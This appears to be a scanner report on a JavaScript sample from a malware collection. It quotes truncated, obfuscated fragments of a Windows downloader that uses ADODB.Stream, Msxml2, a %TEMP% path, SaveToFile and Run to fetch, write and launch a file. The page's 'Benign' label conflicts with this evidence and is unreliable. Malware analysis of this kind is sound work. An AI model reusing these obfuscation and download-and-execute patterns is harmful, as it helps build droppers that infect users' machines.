Benign javascript-malware-collection Download

20160328_03de16cebdb6deaddb58cb3a4b7e85d1.js

Source contains low-bit mask syntaxeval() executing transformed code

SHA-2560eb10b93eccbec5f869934851301f0544b9272ac6b35f51f23be19f074f3ca4f

Evidence

ADODB.Stream string fragment (DODB) line 1

1eval(m("high%20%3D%20%28249%29%3Bvar%20hide%20%3D%20%2817744497%29%3BsortDetached%20%3D%20%280%29%2C%20dataTypes%20%3D%20%28%22ADODB%22%29%2C%20sel%20%3D%20%28%22Ru%22%29%2C%20elementMatcher%20%3D%20%28%22pe%22%29%2C%20pageX%20%3D%20%28%22TP.3.%22%29%2C%20matched%20%3D%20%2850%29%3Bvar%20second%20%3D%20%2827%29%2C%20inPage%20%3D%20%28%22uctor%22%29%2C%20cleanData%20%3D%20%28%22MP%25/%22%29%2C%20dataUser%20%3D%20%28%22rver%22%29%3Bvar%20addGetHookIf%20%3D%20%28%22se%22%29%2C%20onlyHandlers%20%3D%20%28%22d%22%29%2C%20text%20%3D%20%281%29%3BDOMParser%20%3D%20%2839%29%3B%20r20%20%3D%20%28%22Msxml2%22%29%3 …

Invokes zero-argument function at module scope lines 7–14

7:70… atched));
8identifier[escapedWhitespace + "yp" + ap] = ((1 * text) & 1);
9currentTarget();
10
11function focus() {
12	for (slow = ((high, 0) | (text + -1)); slow < removeData[winnow + "th"]; slow++) {
13		try {
14			setRequestHe …

JavaScript silently discards caught errors lines 14–20

81… slow]);
	getPropertyValue(winnow, rbrace, backgroundClip);
	setRequestHeader[addGetHookIf + "n" + onlyHandlers]();
	break;
} catch (addCombinator) {}
}
while (setRequestHeader["ready" + colgroup + "e"] != ((27 / second) * (1 + params))) globalEventContext[what + "pt"][innerH …

Calls JavaScript unescape lines 21–36

21:45…  ((sibling, 264) - (toggle * 2 * toggle * 2 * toggle * 2))) {
22		identifier["o" + buildParams + "en"]();
23		identifier[fromCharCode + "rite"](setRequestHeader[rdashAlpha + "ponse" + image]);
24		size(propName, setMatcher, cssHooks, rdisplayswap, params);
25		identifier[box + "eToF" + removeClass](password, (2 | sortDetached));
26		preventDefault(addGetHookIf, onlyHandlers, compare, unquoted, holdReady);
27		ifModified[sel + "n"](password);
28	} else {}
29}
30
31function m(createButtonPseudo) {
32	return unescape(createButtonPseudo);
33}
34
35function curLeft(pageY, curCSSLeft) {
36	progress(m("removeData%20%3D%20%5BrfocusMorph%20+%20%22l2.%22%20+%20crossDomain%20+%20%22verXML%22%20+%20lastChild%20+%20%22P.6%22%20+%20prevObject%2C%20%22Msxm%22%20+%2 …

password/passwd key with inline value lines 36–40

36:532… );
37}
38
39function completeDeferred(groups, createCache, initial) {
40	progress(m("password%20%3D%20ifModified%5B%22Exp%22%20+%20unquoted%20+%20%22nvir%22%20+%20once%20+%20%22tStri%22%20+%20rootjQuery%5D%28%22%25TE%22%20+%20cleanData%29%20+%20%22pa%22%20+%20handle%2 …